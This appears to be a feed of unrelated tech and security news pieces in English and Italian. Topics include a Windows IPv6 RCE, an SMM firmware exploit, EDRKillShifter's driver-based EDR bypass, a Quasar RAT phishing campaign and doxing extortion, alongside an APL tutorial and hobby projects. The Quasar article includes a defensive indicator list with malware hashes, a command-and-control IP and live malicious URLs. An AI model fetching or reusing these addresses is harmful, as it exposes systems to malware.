You may have heard about a very large data breach, exposing the Social Security numbers of three billion individuals. Now hang on. Social Security numbers are a particularly American data point, and last time we checked there were quite a few Americans shy of even a half of a billion’s worth. As [Troy Hunt] points out, there are several things about this story that seem just a bit odd.

First up, the claim is that this is data grabbed from National Public Data, and there’s even a vague notice on their website about it. NPD is a legitimate business, grabbing data on as many people as possible, and providing services like background checks and credit checks. It’s not impossible that this company has records on virtually every citizen of the US, UK, and Canada. And while that’s far less than 2.9 billion people, it could feasibly add up to 2.9 billion records as was originally claimed.

The story gets strange as we consider the bits of data that have been released publicly, like a pair of files shared with [Troy] that have names, birthdays, addresses, phone numbers, and social security numbers. Those had a total of 2.69 billion records, with an average of 3 records for each ID number. That math is still just a little weird, since the US has to date only generated 450 million SSNs and change.

So far all we have are partial datasets, and claims on the Internet. The story is that there’s a grand total of 4 TB of data once uncompressed. The rest of the details are unclear, and it’s likely to take some time for the rest of the story to come out.

Windows IPv6 RCE

Microsoft has patched a Remote Code Execution (RCE) in Windows 10, 11, and server systems. By all accounts, it’s a nasty one, but there’s a redeeming wrinkle to the story, that may also be bad news. It’s an IPv6 vulnerability. The actual details are scarce, for obvious reasons. By next week, I anticipate someone will have reverse engineered the patch enough to have some details on the flaw.

What we do know is that Microsoft scores this a 9.8 out of 10 for severity, and considers it a low complexity attack that is likely to be used in the wild. Trend Micro considers it a wormable flaw. The built-in Windows firewall doesn’t block it, because the vulnerability triggers before processing by the firewall. This leads to a theory that it’s another problem related to defragmenting incoming IPv6 packets, or a similar process.

The good news is that it requires actual IPv6 connectivity, which at least in my corner of the world is a rather rare thing. It’s hard to know definitively without more details, but it’s at least likely that a proper stateful firewall would block these unsolicited IPv6 packets from the wider Internet. There’s still a lot of room for trouble inside the network — where you probably have working IPv6 connectivity even without routable IPv6 from your ISP. In conclusion, get this one patched ASAP.

Considering its harm, I will not disclose more details in the short term.

— wei (@XiaoWei___) August 14, 2024

Don’t Roll Your Own Crypto!

There’s a rallying cry, aimed at anyone responsible for build secure systems: “Don’t roll your own crypto!” But why? Surely a secret algorithm that only you understand is more secure, right? No. Particularly not when tools like Ghidra that put firmware reverse engineering within grasp of every security researcher. Case in point, the Vstarcam CB73 security camera that [Brown Fine Security] took a look at.

The first clue that somethign was wrong was that packets were being repeated, byte-for-byte identically. As [Brown] points out, a good cryptography scheme has some sort of protection against replay attacks. This one had none at all. Another issue with this homebrew crypto scheme is that it only has 256 possible internal states, and once you know the trick the whole thing is trivially decryptable, no key required. This is why you don’t roll your own crypto.

Old School CSS Trick

This write-up from Adepts of 0xCC is a trip down memory lane, to a time when browsers let websites get away with way more, like detecting whether links had been visited by detecting the style that the browser used to display them. Browsers eventually locked down those sorts of tricks, but what’s old is new again, with just a bit of cleverness. In this case, generate a captcha, and set the page’s CSS to make the visited links blend in with the background. The user completes the captcha, and based on which characters were typed, you have some basic history information. Clever!

Ring -2

The classic x86 architecture has a four ring system, where userspace applications run in Ring 3 and the kernel runs in Ring 0. But the sneaky truth is that our X86 processors are actually emulating the x86 instruction set, Rings 1 and 2 are never used, and there’s a CPU management engine running all the way down at Ring -3. This suggests to the security minded, that it would be particularly bad for something malicious to run at one of those hidden ring levels. And that’s exactly what [jjensn] managed to pull off.

In this case it’s in the motherboard firmware, in the System Management Engine. A bit of vulnerable code in a couple places allows writing data into protected SMRAM memory, into Ring -2. A bit of clever work corrupts the SMRAM just enough to jump into shellcode without crashing the machine. And suddenly an attacker can own a machine on a level two layers below the OS.

Bits and Bytes

Careful with your artifacts. Apparently quite a few Github CI scripts take the easy wqy out, and just zip up the entire work directory as an artifact. That’s not great, as generally artifacts are accessible to anyone with a GitHub account, and the .git folder very likely has a Github token in it.

Speaking of GitHub, another Chrome type confusion vulnerability was written up there in detail. As objects in JavaScript are manipulated, the engine is continually updating the underlying data structures. Cloning objects can be particularly tricky, and changing the properties of an object after a shallow copy can result in memory corruption. Memory corruption, fake objects, and finally code execution outside the JavaScript sandbox.

In Windows, the mark of the Web is rather important for security, warning users when they’re about to access or execute something from the Internet. It’s also been broken in many interesting ways over the years. Most recently, Web-based Distruted Authoring and Versioning (WEBDAV) shares are used, as they can be accessed by either the browser, or the Windows File Explorer. The most recent fix here adds Mark of the Web to files copied from WEBDAV shares using Explorer. Sneaky.

The summer doldrums are here, but that doesn’t mean that Elliot and Dan couldn’t sift through the week’s hack and find the real gems. It was an audio-rich week, with a nifty microsynth, music bounced off the moon, and everything you always wanted to know about Raspberry Pi audio but were afraid to ask. We looked into the mysteries of waveguides and found a math-free way to understand how they work, and looked at the way Mecanum wheels work in the most soothing way possible. We also each locked in on more classic hacks, Elliot with a look at a buffer overflow in Tony Hawks Pro Skater and Dan with fault injection user a low-(ish) cost laser setup. From Proxxon upgrades to an RC submarine to Arya’s portable router build, we’ve got plenty of material for your late summer listening pleasure.

html5-player.libsyn.com/embed/…
Where to Follow Hackaday Podcast

Places to follow Hackaday podcasts:

• iTunes
• Spotify
• Stitcher
• RSS
• YouTube
• Check out our Libsyn landing page

Worried about attracting the Black Helicopters? Download the DRM-free MP3 and listen offline, just in case.

Episode 284 Show Notes:

News:

• Possible Discovery Of Liquid Water In Mars’ Mid-Crust By The Insight Lander
• Superdeep Borehole Samples Create Non-boring Music

What’s that Sound?

• Last week’s sound was the startup chime from an SGI Indigo. But nobody guessed it right!
• Computer and Console Boot Sounds Compilation : Various : Free Download, Borrow, and Streaming : Internet Archive
• Boot chime for an SGI O2 — Dan used to use an O2, but wouldn’t have gotten it either.

Interesting Hacks of the Week:

• Kickflips And Buffer Slips: An Exploit In Tony Hawk’s Pro Skater
• Building AI Models To Diagnose HVAC Issues
• Inside The Mecanum Wheel
• Laser Fault Injection On The Cheap
  
  • Low-Cost Nanopositioning Hack Chat

  
  

• Tulip Is A Micropython Synth Workstation, In An ESP32
  
  • GitHub – shorepine/amy: AMY – the Additive Music synthesizer librarY
  • Generative Music Created In Minimalistic Javascript Code
  • Sonic Pi – The Live Coding Music Synth for Everyone

  
  

• The Waveguide Explanation You Wish You’d Had At School
  
  • Coax Stub Filters Demystified

  
  

Quick Hacks:

• Elliot’s Picks
  
  • Cheap DIY Button Pad Uses Neat Punchcard Trick
  • RC Submarine Build Starts With Plenty Of Research
  • Moonbounce Music

  
  

• Dan’s Picks:
  
  • Proxxon CNC Conversion Makes A Small Mill A Bit Bigger
  • Magnesium And Copper Makes An Emergency Flashlight
  • A Tiny Knob Keeps You In Control
    
    • For the curious

    
    

  
  

Can’t-Miss Articles:

• Audio On Pi: Here Are Your Options
• Portable Router Build: Picking Your CPU
  
  • Fail Of The Week: This Flash Drive Will NOT Self-Destruct In Five Seconds

  
  

Everyone likes a good lunar landing simulator, and [Dominic Doty] wrote a fun take on the idea: your goal is to write an autopilot controller to manage the landing. Try it out!
Virtual landers are far cheaper than real ones, thank goodness.
[Dominic] was inspired in part by this simple rocket landing game which is very much an exercise in reflex and intuition, not to mention being much faster-paced than the classic 1979 video game (which you can also play in your browser here.)

[Dominic]’s version has a similar classic look to the original, but embraces a more thoughtful approach. In it, one uses plain JavaScript to try to minimize the lander’s angle, velocity, and angular velocity in order to land safely on the generated terrain.

Want to see if you have the right stuff? Here’s a direct link to Lunar Pilot. Don’t get discouraged if you don’t succeed right away, though. Moon landings have had plenty of failures, and are actually very hard.

Some old computer languages are destined to never die. They do, however, evolve. For example, Fortran, among the oldest of computer languages, still has adherents, not to mention a ton of legacy code to maintain. But it doesn’t force you to pretend you are using punched cards anymore. In the 1970s, if you wanted to crunch numbers, Fortran was a good choice. But there was another very peculiar language: APL. Turns out, APL is alive and well and has a thriving community that still uses it.

APL has a lot going for it if you are crunching serious numbers. The main data type is a multidimensional array. In fact, you could argue that a lot of “modern” ideas like a REPL, list types, and even functional programming entered the mainstream through APL. But it did have one strange thing that made it difficult to use and learn.

[Kenneth E. Iverson] was at Harvard in 1957 and started working out a mathematical notation for dealing with arrays. By 1960, he’d moved to IBM and a few years later wrote a book entitled “A Programming Language.” That’s where the name comes from — it is actually an acronym for the book’s title. Being a mathematician, [Iverson] used symbols instead of words. For example, to create an array with the numbers 1 to 5 in it and then print it, you’d write:
⎕←⍳5
Since modern APL has a REPL (read-eval-print loop), you could remove the box and the arrow today.

What Key Was That?

Wait. Where are all those keys on your keyboard? Ah, you’ve discovered the one strange thing. In 1963, CRTs were not very common. While punched cards were king, IBM also had a number of Selectric terminals. These were essentially computer-controlled typewriters that had type balls instead of bars that were easy to replace.

With the right type ball, you could have 26 upper-case letters, 10 digits, a few control characters, and then a large number of “weird” characters. But it is actually worse than that. The available symbols were still not numerous enough for APL’s appetite. So some symbols required you to type part of the symbol, press backspace, then type more of the symbols, sometimes repeating the process several times. On a printing terminal, that works fine. For the CRTs that would soon take over, this was tough to do.

For example, a comment (like a REM in Basic or a // in C++) is represented by a thumbnail (⍝). In other words, this would be an APL comment:
⍝ This is a comment
To make that character, you’d type the “arch” part, backspace, then the “dot” part. Not very speedy. Not very practical on old CRT terminals, either.

The characters aren’t the only strange thing. For example, APL evaluates math right to left.

That is, 3×2+5 is 21 because the 2+5 happens first. You just have to get used to that.

A Solution

Of course, modern screens can handle this easily and most people use an APL keyboard mapping that looks like your normal keyboard, but inserts special symbols when you use the right Alt key (with or without the shift modifier). This allows the keyboard to directly enter every possible symbol.

Of course, your keyboard’s keycaps probably don’t have those symbols etched in, so you’ll probably want a cheat sheet. You can buy APL keycaps or even entire keyboards if you really get into it.

What’s GNU With You?

While there have been many versions of APL over the years, GNU APL is certainly the easiest to setup, at least for Linux. According to the website, the project has more than 100,000 lines of C++ code! It also has many modern things like XML parsers.
A US APL keyboard layout
The real trick is making your keyboard work with the stranger characters. If you are just playing around, you can consider doing nothing. You can see the keyboard layout by issuing the ]KEYBD command at the APL prompt. That will give you something like the adjacent keyboard layout image.

From that image, you can copy and paste odd characters. That’s a pain, though. I had good luck with this command line:
setxkbmap -layout us,apl -variant ,dyalog -option grp:switch
With this setup, I can use the right alt key to get most APL characters. I never figured out how to get the shifted alternate characters, though. If you want to try harder, or if you use a different environment than I do, you might read the APL Wiki.

An Example

Rather than do a full tutorial, here’s my usual binary search high low game. The computer asks you to think of a number, and then it guesses it. Not the best use of APL’s advanced math capabilities, but it will give you an idea of what it can do.

Here’s a survival guide. The upside-down triangle is the start or end of a function. You already know the thumbnail is a comment. A left-pointing arrow is an assignment statement. A right-pointing arrow is a goto (this was created in the 1960s; modern APL has better control structures, but they can vary between implementations). Square boxes are for I/O, and the diamond separates multiple statements on a single line.

∇ BinarySearchGame
⍝ Initialize variables
lower ← 1
upper ← 1024
turns ← 0
cheating ← 0

⍝ Start the game
'Think of a number between 1 and 1024.' ⋄ ⎕ ← ''

Loop:
turns ← turns + 1
guess ← ⌊(lower + upper) ÷ 2 ⍝ Make a guess using binary search

⍞ ← 'Is your number ', ⍕ guess, '? (h for high, l for low, c for correct): '
response ← ⍞

→ (response = 'c')/Finish ⍝ Jump to Finish if correct
→ (response = 'h')/TooHigh ⍝ Jump to TooHigh if too high
→ (response = 'l')/TooLow ⍝ Jump to TooLow if too low
→ InvalidInput ⍝ Invalid input

TooHigh:
upper ← guess - 1
→ (lower > upper)/CheatingDetected ⍝ Detect cheating
→ Loop

TooLow:
lower ← guess + 1
→ (lower > upper)/CheatingDetected ⍝ Detect cheating
→ Loop

InvalidInput:
⍞ ← 'Invalid input. Please enter "h", "l", or "c".' ⋄ ⎕ ← ''
turns ← turns - 1 ⍝ Invalid input doesn't count as a turn
→ Loop

CheatingDetected:
⍞ ← 'Hmm... Something doesn''t add up. Did you make a mistake?' ⋄ ⎕ ← ''
cheating ← 1
→ Finish

Finish:
→ (cheating = 0)/Continue ⍝ If no cheating, continue
→ EndGame

Continue:
⍞ ← 'Great! The number is ', ⍕ guess, '. It took ', ⍕ turns, ' turns to guess it.' ⋄ ⎕ ← ''

EndGame:
⍞ ← 'Would you like to play again? (y/n): '
restart ← ⍞
→ (restart = 'y')/Restart ⍝ Restart the game if 'y'
→ Exit ⍝ Exit the game otherwise

Restart:
BinarySearchGame ⍝ Restart the game

Exit:
⍞ ← 'Thank you for playing!' ⋄ ⎕ ← '' ⍝ Exit message
∇

What’s Next?

If you want to get an idea of how APL’s special handling of data make some programs easier, the APL Wiki has a good page for that. If you don’t want to install anything, you can run APL in your browser (although it is the Dyalog version, a very common choice for modern APL).

If you don’t want to read the documentation, check out [phoebe’s] video below. We always wanted the IBM computer that had the big switch to go from Basic to APL.

youtube.com/embed/UltnvW83_CQ?…

APL Keyboard image via Reddit

Come spesso riportiamo, il cybercrime non si ferma mai, soprattutto quando le difese delle aziende sono al minimo come il periodo delle ferie estive.

Ieri, in pieno ferragosto, la cyber gang Ciphbit rivendica un attacco informatico che ha coinvolto la FD-SRL, un’azienda dinamica e innovativa specializzata in soluzioni avanzate per diversi settori industriali.

L’attacco è stato rivendicato all’interno del Data Leak Site (DLS) di Ciphbit, che ha dichiarato di aver compromesso i sistemi della FD-SRL, minacciando di pubblicare i dati sottratti entro 3-4 giorni.

Al momento, non possiamo confermare la veridicità della notizia, poiché l’organizzazione non ha ancora rilasciato alcun comunicato stampa ufficiale sul proprio sito web riguardo l’incidente. Pertanto, questo articolo deve essere considerato come ‘fonte di intelligence‘.

Chi è FD-SRL?

FD-SRL è un’azienda italiana specializzata in opere pubbliche, con particolare attenzione alla costruzione di strade e ferrovie.

Grazie all’impiego di tecnologie avanzate e di una forza lavoro qualificata, l’azienda è in grado di offrire soluzioni efficienti, affidabili e sostenibili ai propri clienti, guadagnandosi così una reputazione di partner fidato nel suo settore.

Conclusione

L’attacco rappresenta una seria minaccia per FD-SRL, che ora si trova di fronte alla possibilità di vedere esposti dati sensibili relativi ai propri progetti e clienti. L’attacco è stato annunciato dalla piattaforma web Ransomfeed.

Come nostra consuetudine, lasciamo sempre spazio ad una dichiarazione da parte dell’azienda qualora voglia darci degli aggiornamenti sulla vicenda. Saremo lieti di pubblicare tali informazioni con uno specifico articolo dando risalto alla questione.

RHC monitorerà l’evoluzione della vicenda in modo da pubblicare ulteriori news sul blog, qualora ci fossero novità sostanziali. Qualora ci siano persone informate sui fatti che volessero fornire informazioni in modo anonimo possono utilizzare la mail crittografata del whistleblower.

L'articolo Ransomware di Ferragosto! Ciphbit rivendica un attacco informatico all’italiana FD-SRL proviene da il blog della sicurezza informatica.

The European Commission sent a request for information to Meta under the Digital Services Act (DSA) on Friday (16 August), seeking details on compliance with data access and election monitoring requirements.

euractiv.com/section/platforms…

Il gruppo RansomHub ha iniziato a utilizzare un nuovo software dannoso che disabilita le soluzioni EDR sui dispositivi per aggirare i meccanismi di sicurezza e ottenere il pieno controllo del sistema. Lo strumento, chiamato EDRKillShifter, è stato scoperto da Sophos dopo un attacco fallito nel maggio 2024.

EDRKillShifter è un malware che consente di condurre un attacco Bring Your Own Vulnerable Driver ( BYOVD ), utilizzando un driver legittimo ma vulnerabile per aumentare i privilegi, disabilitare i controlli di sicurezza e ottenere il controllo completo del sistema.

Sophos ha scoperto 2 diversi campioni EDRKillShifter, entrambi i quali utilizzano exploit PoC disponibili pubblicamente da GitHub. Uno degli esempi sfrutta il driver vulnerabile RentDrv2 e l’altro sfrutta il driver ThreatFireMonitor, che è un componente di un pacchetto di monitoraggio del sistema obsoleto.

EDRKillShifter è anche in grado di caricare driver diversi a seconda delle esigenze degli aggressori.
Catena di attacco EDRKillShifter
Il processo di esecuzione di EDRKillShifter è composto da tre passaggi. Innanzitutto, l’aggressore esegue un file binario con una password per decrittografare ed eseguire la risorsa BIN incorporata in memoria. Il codice quindi decomprime ed esegue il payload finale, che carica il driver vulnerabile per aumentare i privilegi ed uccidere i processi attivi dei sistemi EDR.

Il malware crea un nuovo servizio per il driver, lo avvia e carica il driver, quindi entra in un ciclo infinito, controllando continuamente i processi in esecuzione e terminandoli se i nomi dei processi corrispondono all’elenco crittografato di obiettivi.

Sophos consiglia di abilitare la protezione anti-manomissione nei prodotti per la sicurezza degli endpoint, di mantenere la separazione tra diritti utente e amministrativi per impedire agli aggressori di scaricare driver vulnerabili e di aggiornare regolarmente i sistemi, dato che Microsoft revoca regolarmente i certificati per i driver firmati che sono stati utilizzati in attacchi precedenti.

L'articolo Con EDRKillShifter vengono eluse le difese EDR da RansomHub per introdurre il ransomware proviene da il blog della sicurezza informatica.

When thinking of the first PCs, most of us might imagine something like the Apple I or the TRS-80. But even before that, there were a set of computers that often had no keyboard, or recognizable display beyond a few blinking lights. [Artem Kalinchuk] is attempting to recreate one of these very early digital computers, the Kenbak-1, using as many period-correct parts as possible.

Considered by many to be the world’s first personal computer, the Kenbak-1 was an 8-bit machine with 256 bytes of memory, using TTL integrated circuits for the logic as there was no commercially available microprocessor available at the time it was designed. For [Artem]’s build, most of these parts can still be sourced including the 7400-series chips and carbon resistors although the shift registers were a bit of a challenge to find. A custom PCB was built to replicate the original, and with all the parts in order it’s ready to be assembled and put into a case which was built using the drawings for the original unit.

Although [Artem] plans to build a period-correct linear power supply for this computer, right now he’s using a modern switching power supply for testing. The only other major components that are different are the status lamps, in this case switched to LEDs because he wasn’t able to source incandescent bulbs that drew low enough current, and the switches which he’s replaced with MX-style keys. We’ll stay tuned as he builds and tests this over the course of several videos, but in the meantime if you’re curious how this early computer actually worked we featured an emulator for it a while back.

youtube.com/embed/ffsnZ321Xv4?…

Negli ultimi giorni, è stata rilevata una nuova campagna di malware mirata specificamente agli utenti italiani, lo riporta il CERT-AgID.

Questa minaccia si presenta sotto forma di un trojan, Quasar RAT, che viene distribuito attraverso email ingannevoli con oggetto “Pagamenti Fattura“. Il nome Quasar RAT potrebbe non essere noto a molti, ma la sua potenza distruttiva è preoccupante, soprattutto perché consente agli attaccanti di prendere il controllo remoto dei dispositivi infetti.

Come Funziona l’Attacco?

Gli attaccanti inviano email fraudolente progettate per sembrare comunicazioni legittime riguardanti il pagamento di una fattura. All’interno di queste email, le vittime sono invitate a scaricare una fattura tramite un pulsante denominato “Scarica Fattura“. Tuttavia, invece di una semplice fattura PDF, il pulsante scarica un file eseguibile malevolo.Una volta aperto, il file infetta il sistema con Quasar RAT, un trojan che offre agli attaccanti un accesso remoto completo al dispositivo della vittima.

Questo consente agli hacker di eseguire comandi, rubare informazioni sensibili, e potenzialmente installare ulteriori malware.

Indicatori di Compromissione e Difesa

Le autorità italiane hanno agito rapidamente per diffondere informazioni sui dettagli tecnici del malware e sugli indicatori di compromissione (IoC). Questi indicatori sono stati condivisi con le organizzazioni accreditate al flusso #IoC del CERT-AGID, nel tentativo di limitare il più possibile i danni causati da questa minaccia.

{
"43588b0a-8803-47a9-95c2-a6d299ba77a0": {
"event_id": 16660,
"created_at": "2024-08-16T08:39:41.362917+00:00",
"updated_at": "2024-08-16T09:34:21.837593+00:00",
"name": "Campagna Quasar RAT italiana",
"description": "",
"subject": "Fw: Informazioni sulle entrate governative. - ( 2607579 )",
"tlp": "0",
"campaign_type": "malware",
"method": "attached",
"country": "italy",
"file_type": [
"zip"
],
"theme": "Pagamenti",
"malware": "Quasar",
"phishing": null,
"via": "email",
"tag": [],
"ioc_list": {
"md5": [
"0a57d370bb7a6bb0947789eaa997c9fb",
"8bc7c91b4b84a5672cc0b5303ac55f86",
"767f07f21c427466321971cdb6f3dc87"
],
"sha1": [
"d5daee9a52a5eee6a65f18d2c7a859e680c4071c",
"29e4552e7764f1021fc4ad0a0574356ef2d1fe24",
"7c3caa9fb80c71e76c7a18f21b0f1409aac7cd6e"
],
"sha256": [
"91a94ca01e17f6fcf6348047dddf5fdd263392d958768ff2f4b1231f3d60b7cf",
"998e3fbc3d984eca67c8c8e237476cbebd128bb0b438a32412bcee37da73b969",
"06b820e333d4893dee60b61c149d7a3a2e22134e3c42317e189a446e551f14ac"
],
"imphash": [],
"domain": [
"notificacao.noticiasnovidads.xyz",
"italy-845d4-default-rtdb.asia-southeast1.firebasedatabase.app"
],
"url": [
"http://64.23.164.170/shollrussia.png",
"http://64.23.164.170/",
"https://notificacao.noticiasnovidads.xyz/clientes/"
],
"ipv4": [
"64.23.164.170"
],
"email":
[] },
"email_victim": [],
"ioca_version": "1.0",
"organization": "cert-agid"
}
}

Gli utenti sono invitati a scaricare il documento contenente questi indicatori per verificare la presenza del malware sui propri sistemi. Il file con i dettagli tecnici è disponibile sul sito ufficiale del CERT-AGID al seguente link: .

Come Proteggersi?

Per proteggersi da questa e altre minacce simili, è essenziale seguire alcune buone pratiche:

• Diffidare delle email sospette:
• Non aprire allegati o cliccare su link in email che non ti aspettavi di ricevere.
• Mantenere aggiornato il software di sicurezza:
• Assicurati di avere un antivirus aggiornato e attivo
• Eseguire regolari scansioni di sicurezza:
• Controllare periodicamente il tuo sistema per individuare eventuali minacce.

L'articolo Campagna Massiva di Malware in Italia: Quasar RAT Minaccia gli Utenti Italiani proviene da il blog della sicurezza informatica.

The adopted text of the UN Cybercrime Convention is a win for digital authoritarianism, which European and like-minded countries must fight, writes Tobias B. Bacherle.

euractiv.com/section/law-enfor…

[saurabhchalke] recently released whisper.unity, a Unity package that implements whisper locally on the Meta Quest 3 VR headset, bringing nearly real-time transcription of natural speech to the device in an easy-to-use way.

Whisper is a robust and free open source neural network capable of quickly recognizing and transcribing multilingual natural speech with nearly-human level accuracy, and this package implements it entirely on-device, meaning it runs locally and doesn’t interact with any remote service.
Meta Quest 3
It used to be that voice input for projects was a tricky business with iffy results and a strong reliance on speaker training and wake-words, but that’s no longer the case. Reliable and nearly real-time speech recognition is something that’s easily within the average hacker’s reach nowadays.

We covered Whisper getting a plain C/C++ implementation which opened the door to running on a variety of platforms and devices. [Macoron] turned whisper.cpp into a Unity binding which served as inspiration for this project, in which [saurabhchalke] turned it into a Quest 3 package. So if you are doing any VR projects in Unity and want reliable speech input with a side order of easy translation, it’s never been simpler.

Negli ultimi anni, con l’avvento di tecnologie avanzate come i Large Language Models (LLM), tra cui spiccano strumenti come ChatGPT, si è diffusa una certa confusione riguardo alla loro natura e alle loro funzionalità.

In particolare, molte persone tendono a considerare un LLM come un database molto evoluto, aspettandosi che fornisca informazioni accurate e aggiornate su richiesta, come farebbe un motore di ricerca o un archivio di dati strutturati. Tuttavia, è fondamentale chiarire che un LLM non è un database, né è progettato per fungere da tale.

Come fa un Large Language Model a generare il testo?

Un Large Language Model, come suggerisce il nome, è un modello addestrato su enormi quantità di testo per imparare le regolarità e le strutture linguistiche presenti nel linguaggio naturale. Quando interagiamo con un LLM, esso non “ricerca” informazioni in un archivio strutturato, ma genera risposte basandosi su un processo di previsione delle parole (più tecnicamente token). Questo processo si basa sull’addestramento del modello con grandi quantità di dati testuali, che gli consentono di “imparare” le probabilità di sequenze di parole.

Ad esempio, se chiediamo a un LLM “Chi è Sandro Pertini?”, il modello non cerca una biografia memorizzata su un server. Piuttosto, utilizza la sua comprensione delle relazioni tra le parole per generare una risposta che appare coerente e informativa, basandosi sulle probabilità che ha appreso durante l’addestramento. Il modello tenta di prevedere la sequenza di parole più probabili, dato l’input fornito. Ciò significa che il modello può produrre risposte convincenti, ma non garantisce che queste siano accurate o aggiornate, portando in alcuni casi a vere e proprie allucinazioni.

Per capire meglio come un LLM riesce a generare testo, immaginiamo di chiedere al modello di completare la frase: “Il gatto salta sul”.

1. Input: “Il gatto salta sul”
   Il modello riceve questa sequenza di parole come input e, basandosi sull’addestramento ricevuto, prevede quale parola sia più probabile che segua. Considerando le parole “gatto” e “salta”, il modello potrebbe riconoscere che l’azione di saltare è spesso seguita da un complemento che indica una superficie.
2. Prima Predizione: La parola successiva potrebbe essere quindi “tavolo”, “letto”, “sedia”, ecc. Supponiamo che il modello scelga “tavolo” come la parola con la probabilità più alta.
   Output parziale: “Il gatto salta sul tavolo”
3. Seconda Predizione: Ora che il modello ha aggiunto “tavolo”, analizza di nuovo l’intera sequenza e prevede che la parola successiva potrebbe essere una parola come “per”, “dove”, “e”, ecc. Supponiamo scelga “e”.
   Output parziale: “Il gatto salta sul tavolo e”
4. Terza Predizione: A questo punto, il modello potrebbe prevedere che la sequenza è seguita da un’altra azione correlata. Potrebbe quindi generare parole come “si sdraia”, “miagola”, “scappa”, ecc. Supponiamo che preveda “si sdraia”.
5. Output finale: “Il gatto salta sul tavolo e si sdraia”

In questo esempio, il modello ha generato ogni parola successiva basandosi su ciò che ritiene più probabile, data la sequenza precedente ed il contesto appreso durante l’addestramento. Questo processo di predizione continua fino a quando il modello decide che la frase è completa o fino a un determinato limite di lunghezza della sequenza.

Inoltre, come si evince dall’esempio, la generazione di testo da parte di un LLM non avviene attraverso una ricerca attiva di informazioni su cosa fanno i gatti o su quale sia il comportamento più comune. Invece, il modello sceglie le parole successive in base alla probabilità determinata dai dati su cui è stato addestrato. La scelta di “tavolo” come parola successiva più probabile potrebbe essere stata veicolata dai numerosi esempi visti nell’addestramento in cui i gatti saltano su tavoli o altre superfici simili. Questa scelta non è basata su una comprensione concettuale del comportamento dei gatti, ma su un calcolo probabilistico che riflette i pattern linguistici presenti nei dati su cui il modello è stato addestrato.

Questo sottolinea la differenza fondamentale tra un LLM e un database: il modello non “sa” nulla in senso tradizionale, ma genera risposte basandosi su ciò che è più probabile che segua un dato input, secondo i dati testuali che ha elaborato durante l’addestramento.

Cos’è il Cutoff Knowledge?

Un concetto chiave per comprendere le limitazioni di un LLM è quello del Cutoff Knowledge. Questo termine si riferisce al punto temporale fino al quale il modello è stato addestrato. Per esempio, se un LLM è stato addestrato su testi fino al 2021, non avrà conoscenza degli eventi o delle scoperte avvenute dopo quella data. Ciò evidenzia ulteriormente perché un LLM non può essere considerato un database: i database sono progettati per contenere informazioni aggiornate e possono essere costantemente alimentati con nuovi dati, mentre un LLM ha una base di conoscenza statica limitata al periodo di addestramento.

Questo taglio temporale implica che un LLM potrebbe fornire informazioni obsolete o inaccurate se interrogato su argomenti successivi alla data di cutoff. Mentre un database può essere aggiornato con nuovi dati, l’aggiornamento di un LLM richiede un nuovo ciclo di addestramento su dati più recenti, il che è un processo molto più complesso e costoso.

Conclusioni

In sintesi, un Large Language Model non è un database e non dovrebbe essere trattato come tale. Mentre entrambi gli strumenti possono essere utilizzati per rispondere a domande, lo fanno in modi completamente diversi. Un database recupera e restituisce dati puntuali, mentre un LLM genera testo basato su un’ampia comprensione del linguaggio naturale. Questo significa che, sebbene un LLM possa sembrare una fonte di informazioni, è importante usarlo con la consapevolezza delle sue limitazioni, specialmente quando si tratta di ottenere dati precisi e aggiornati.

L'articolo Perché un Large Language Model (LLM) non è un Database? proviene da il blog della sicurezza informatica.

Le interviste recentemente rilasciate con importanti autori di doxing fanno luce sul lato finanziario della pratica e rivelano come i loro metodi di estorsione siano diventati sempre più brutali.

Il termine “doxing” viene utilizzato per descrivere situazioni in cui qualcuno rivela deliberatamente la vera identità di una persona pubblicando documenti e dati sensibili. Questa pratica è diffusa, esiste da molti anni e viene spesso utilizzata dai criminali informatici a scopo di lucro.

La portata del mercato del doxing è sbalorditiva. La piattaforma leader per la condivisione di tali informazioni, Doxbin, conta circa 300.000 utenti registrati e più di 165.000 pubblicazioni.

La popolarità di Doxbin rende questa pratica particolarmente redditizia. Se stessimo parlando di un sito sotterraneo poco conosciuto e che nessuno visita, alla gente non importerebbe molto che i suoi dati fossero pubblicati lì.

Secondo gli ex membri di Doxbin, il sito ha generato annualmente ricavi a sei cifre grazie ai riacquisti. Questa informazione è stata fornita da un criminale informatico noto come Ego, ex membro del gruppo ViLE, i cui membri si sono recentemente dichiarati colpevoli di aver violato il portale della Drug Enforcement Administration statunitense per raccogliere dati su persone di interesse.

Ego e un amministratore Doxbin di nome “Reiko” sono stati intervistati l’anno scorso da Jacob Larsen, ricercatore di minacce e specialista presso CyberCX. Larsen ha reso pubblico il loro dialogo per la prima volta questa settimana come parte della sua presentazione al Black Hat 2024 .

Dopo l’intervista entrambi gli interlocutori sono scomparsi dalla rete. Ego è scomparso ad agosto 2023, poco dopo l’arresto di due membri di ViLE. Reiko non si vedeva da maggio, in seguito al presunto rapimento del proprietario di Doxbin, detto “Operator“.

Larsen ha osservato che mentre Reiko ha rimosso gran parte della sua presenza online, il sito del suo gruppo di doxer, Valhal.la, è ancora operativo. La recente comparsa di nuovi membri sul sito indica che Reiko continua le sue attività in questo settore.

Per Ego, il doxing era solo un reddito secondario. Secondo lui, poco prima del colloquio, ha completato la sua formazione come ingegnere di rete. In una conversazione con Larsen, Ego ha condiviso: “Sono piuttosto giovane e non ho mai lavorato dalle 9 alle 5. Onestamente non credo che cambierà nulla. Mi sono concentrato sullo studio del networking e recentemente mi sono laureato come ingegnere di rete. Allo stesso tempo, ho ricevuto molti altri certificati. Nell’ultimo anno di studio questa attività è stata la mia principale fonte di reddito”.

A differenza di altre forme di criminalità informatica più redditizie, le motivazioni dei doxer tendono ad essere ambigue. Mentre Ego è chiaramente guidato dal guadagno finanziario, Reiko prende di mira individui specifici, come i molestatori di bambini. Tuttavia, gli incentivi finanziari svolgono senza dubbio un ruolo nelle sue attività.

I criminali informatici spesso cercano di mascherare le loro intenzioni egoistiche con motivazioni politiche o sete di giustizia. Apparentemente, la stessa situazione si osserva nel caso del doxing. Almeno questa è l’opinione di Larson.

Sebbene il doxing non sia illegale nella maggior parte dei paesi, i metodi utilizzati per ottenere informazioni spesso violano la legge. Ego ha ammesso di aver utilizzato trojan RAT, tecniche di ingegneria sociale e richieste false per ottenere dati di emergenza dalle forze dell’ordine.

Di particolare preoccupazione è la crescente tendenza a ricorrere alla violenza fisica per intimidire le vittime e indurle a pagare i riscatti. Ego ha descritto casi in cui alcune persone che avevano dati divulgati sono state attaccate: hanno sparato alle loro case e hanno lanciato bombe molotov attraverso le finestre. Ha anche menzionato casi di tortura e omicidio per impossessarsi dei beni di criptovaluta di altre persone.

